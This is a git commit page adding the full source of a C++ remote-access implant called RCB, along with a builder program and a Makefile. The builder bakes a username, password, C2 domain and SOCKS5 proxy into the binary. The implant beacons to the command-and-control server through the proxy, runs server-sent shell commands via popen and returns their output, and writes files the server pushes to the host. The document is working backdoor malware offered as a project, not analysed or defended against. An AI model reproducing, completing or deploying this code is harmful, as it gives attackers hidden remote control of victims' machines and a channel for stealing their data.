First commit
This commit is contained in:
commit
8fce3c4f76
|
@ -0,0 +1,27 @@
|
||||||
|
#include <iostream>
|
||||||
|
#include <string>
|
||||||
|
|
||||||
|
int main()
|
||||||
|
{
|
||||||
|
std::string sUsername;
|
||||||
|
std::string sPassword;
|
||||||
|
std::string sC2Domain;
|
||||||
|
std::string sProxy;
|
||||||
|
|
||||||
|
std::cout << "Enter the username to be used by RCB: ";
|
||||||
|
std::cin >> sUsername;
|
||||||
|
|
||||||
|
std::cout << "Enter the password to be used by RCB: ";
|
||||||
|
std::cin >> sPassword;
|
||||||
|
|
||||||
|
std::cout << "Enter the C2 domain to be used by RCB: ";
|
||||||
|
std::cin >> sC2Domain;
|
||||||
|
|
||||||
|
std::cout << "Enter the socks5 proxy address to be used by RCB: ";
|
||||||
|
std::cin >> sProxy;
|
||||||
|
|
||||||
|
std::string sCommand = "sUsername=" + sUsername + " sPassword=" + sPassword + " sC2Domain=" + "http:/" + sC2Domain + " sProxy=" + "socks5h:/" + sProxy + " make"; // todo: figure out why this works and why // doesn't
|
||||||
|
const char *cCommand = sCommand.c_str(); // convert string to c string for running as command
|
||||||
|
|
||||||
|
system(cCommand); // run the make command with environment variables
|
||||||
|
}
|
|
@ -0,0 +1,7 @@
|
||||||
|
$(info username is $(sUsername))
|
||||||
|
$(info password is $(sPassword))
|
||||||
|
$(info c2 domain is $(sC2Domain))
|
||||||
|
$(info proxy is $(sProxy))
|
||||||
|
|
||||||
|
default:
|
||||||
|
g++ -DsUsername="$(sUsername)" -DsPassword="$(sPassword)" -DsC2Domain="$(sC2Domain)" -DsProxy="$(sProxy)" RCB.cpp -o RCB -lcurl
|
|
@ -0,0 +1,179 @@
|
||||||
|
#include <curl/curl.h>
|
||||||
|
#include <unistd.h>
|
||||||
|
|
||||||
|
#include <fstream>
|
||||||
|
#include <iostream>
|
||||||
|
#include <regex>
|
||||||
|
#include <string>
|
||||||
|
|
||||||
|
#define STR1(x) #x // double string expansion nightmare
|
||||||
|
#define STR(x) STR1(x)
|
||||||
|
|
||||||
|
size_t writeCallback(void *contents, size_t size, size_t nmemb, std::string *s)
|
||||||
|
{
|
||||||
|
size_t newLength = size * nmemb;
|
||||||
|
try
|
||||||
|
{
|
||||||
|
s->append((char *)contents, newLength);
|
||||||
|
}
|
||||||
|
catch (std::bad_alloc &e)
|
||||||
|
{
|
||||||
|
// handle memory problem
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
return newLength;
|
||||||
|
}
|
||||||
|
|
||||||
|
std::string sendData(std::string sParam1, std::string sValue1, std::string sParam2 = "", std::string sValue2 = "")
|
||||||
|
{
|
||||||
|
CURL *curl;
|
||||||
|
CURLcode res;
|
||||||
|
std::string sReadData;
|
||||||
|
std::string sWriteData = sParam1 + "=" + sValue1;
|
||||||
|
|
||||||
|
if (sParam2 != "")
|
||||||
|
{
|
||||||
|
sWriteData = sWriteData + "&" + sParam2 + "=" + sValue2;
|
||||||
|
}
|
||||||
|
|
||||||
|
curl = curl_easy_init(); // init curl
|
||||||
|
|
||||||
|
if (curl)
|
||||||
|
{
|
||||||
|
curl_easy_setopt(curl, CURLOPT_PROXY, STR(sProxy)); // set proxy to use
|
||||||
|
curl_easy_setopt(curl, CURLOPT_URL, STR(sC2Domain)); // c2 domain to connect to
|
||||||
|
curl_easy_setopt(curl, CURLOPT_HTTPAUTH, CURLAUTH_BASIC); // http basic auth
|
||||||
|
curl_easy_setopt(curl, CURLOPT_POST, 1L); // choose http post method
|
||||||
|
curl_easy_setopt(curl, CURLOPT_USERNAME, STR(sUsername)); // set username for http auth
|
||||||
|
curl_easy_setopt(curl, CURLOPT_PASSWORD, STR(sPassword)); // set password for http auth
|
||||||
|
curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, writeCallback); // write function for storing response
|
||||||
|
//char *cWriteData = curl_easy_escape(curl, sWriteData.c_str(), sWriteData.length());
|
||||||
|
curl_easy_setopt(curl, CURLOPT_POSTFIELDSIZE_LARGE, sWriteData.length()); // set the post request field size
|
||||||
|
curl_easy_setopt(curl, CURLOPT_POSTFIELDS, sWriteData.c_str());//); // choose the data to send in the post request
|
||||||
|
curl_easy_setopt(curl, CURLOPT_WRITEDATA, &sReadData); // write the data to the writeCallback function
|
||||||
|
curl_easy_perform(curl); // run query
|
||||||
|
}
|
||||||
|
return sReadData;
|
||||||
|
}
|
||||||
|
|
||||||
|
std::string exec(std::string sCommand) // takes a pointer to an array of char containing the command and executes it in the shell, returning the stdout
|
||||||
|
{
|
||||||
|
std::array<char, 128> buffer; // define 128 length array of char for buffering stdout to result
|
||||||
|
std::string result; // declare string result for later use
|
||||||
|
std::unique_ptr<FILE, decltype(&pclose)> pipe(popen(sCommand.c_str(), "r"), pclose); // run popen with the command as an argument
|
||||||
|
if (!pipe) // if the popen was unsuccessful for whatever reason
|
||||||
|
{
|
||||||
|
throw std::runtime_error("popen() failed!"); // throw runtime error
|
||||||
|
}
|
||||||
|
while (fgets(buffer.data(), buffer.size(), pipe.get()) != nullptr) // whilst data is being written to the stdout, add the buffered data to the result string
|
||||||
|
{
|
||||||
|
result += buffer.data();
|
||||||
|
}
|
||||||
|
return result; // return the result of the command
|
||||||
|
}
|
||||||
|
|
||||||
|
int main()
|
||||||
|
{
|
||||||
|
const std::string sOk = "msg=acknowledged";
|
||||||
|
std::regex rRun("^run=(.|\n)+"); // compile regular expression rRun, which matches the run command (to execute an instruction)
|
||||||
|
std::regex rUpload("^filename=(.|\n)+"); // compile regular expression rUpload, which matches the filename command (to upload a file)
|
||||||
|
std::string sResponse; // declare string sResponse for later use
|
||||||
|
srand(time(0)); // init srand with the current unix time as the seed
|
||||||
|
|
||||||
|
sResponse = sendData("msg", "ready", "type", "basic");
|
||||||
|
std::cout << sResponse << std::endl;
|
||||||
|
if (sResponse == sOk) // if the server acknowledges our connection
|
||||||
|
{
|
||||||
|
while (true)
|
||||||
|
{
|
||||||
|
sResponse = sendData("msg", "reqcmd");
|
||||||
|
std::cout << sResponse << std::endl;
|
||||||
|
|
||||||
|
if (std::regex_match(sResponse, rRun)) // if the server has provided us with a command to run
|
||||||
|
{
|
||||||
|
std::vector<std::string> sData; // declares a vector of strings sData
|
||||||
|
std::string sSplit; // declares string sSplit for later use
|
||||||
|
for (int i = 0; i < sResponse.length(); i++) // for each char in the sCommand string
|
||||||
|
{
|
||||||
|
if (sResponse[i] == '=') // if we have reached the end of the parameter
|
||||||
|
{
|
||||||
|
sData.push_back(sSplit); // add the sSplit string to the vector of strings sCommands
|
||||||
|
sSplit = ""; // set sSplit to empty
|
||||||
|
}
|
||||||
|
else // otherwise
|
||||||
|
{
|
||||||
|
sSplit.push_back(sResponse[i]); // add the selected char to the sSplit string
|
||||||
|
if (i == (sResponse.length() - 1)) // if we have reached the end of the sCommand string
|
||||||
|
{
|
||||||
|
sData.push_back(sSplit); // then add the sSplit string to the vector of strings sCommands
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
std::string sOutput = exec(sData[1]);
|
||||||
|
std::cout << sOutput;
|
||||||
|
sResponse = sendData("result", sOutput); // execute the command, saving the response to sResponse
|
||||||
|
std::cout << sResponse << std::endl;
|
||||||
|
|
||||||
|
while (true)
|
||||||
|
{
|
||||||
|
if (sResponse != sOk) // if server does not respond as expected
|
||||||
|
{
|
||||||
|
sResponse = sendData("result", sOutput); // send returned data again
|
||||||
|
std::cout << sResponse << std::endl;
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
sleep(5); // perform this loop every 5 secs
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
else if (std::regex_match(sResponse, rUpload))
|
||||||
|
{
|
||||||
|
std::ofstream fFile;
|
||||||
|
std::vector<std::string> sData; // declares a vector of strings sData
|
||||||
|
std::string sSplit;
|
||||||
|
for (int i = 0; i < sResponse.length(); i++)
|
||||||
|
{
|
||||||
|
/*if (sResponse[i] == '\n' && bFilename == true)
|
||||||
|
{
|
||||||
|
sData.push_back(sSplit); // add the sSplit string to the vector of strings sCommands
|
||||||
|
sSplit = ""; // set sSplit to empty
|
||||||
|
bFilename = false;
|
||||||
|
}*/
|
||||||
|
|
||||||
|
if (sResponse[i] == '=' || sResponse[i] == '&') // if we have reached the end of the parameter
|
||||||
|
{
|
||||||
|
sData.push_back(sSplit); // add the sSplit string to the vector of strings sCommands
|
||||||
|
sSplit = ""; // set sSplit to empty
|
||||||
|
}
|
||||||
|
|
||||||
|
else // otherwise
|
||||||
|
{
|
||||||
|
sSplit.push_back(sResponse[i]); // add the selected char to the sSplit string
|
||||||
|
if (i == (sResponse.length() - 1)) // if we have reached the end of the sCommand string
|
||||||
|
{
|
||||||
|
sData.push_back(sSplit); // then add the sSplit string to the vector of strings sCommands
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
fFile.open(sData[1]); // open a file for writing with the filename provided
|
||||||
|
|
||||||
|
if (fFile)
|
||||||
|
{
|
||||||
|
fFile << sData[3]; // write the content of the file
|
||||||
|
std::cout << sendData("msg", "saved");
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
std::cout << "Could not write to local file." << std::endl;
|
||||||
|
std::cout << sendData("msg", "error");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return 0;
|
||||||
|
}
|
Loading…
Reference in New Issue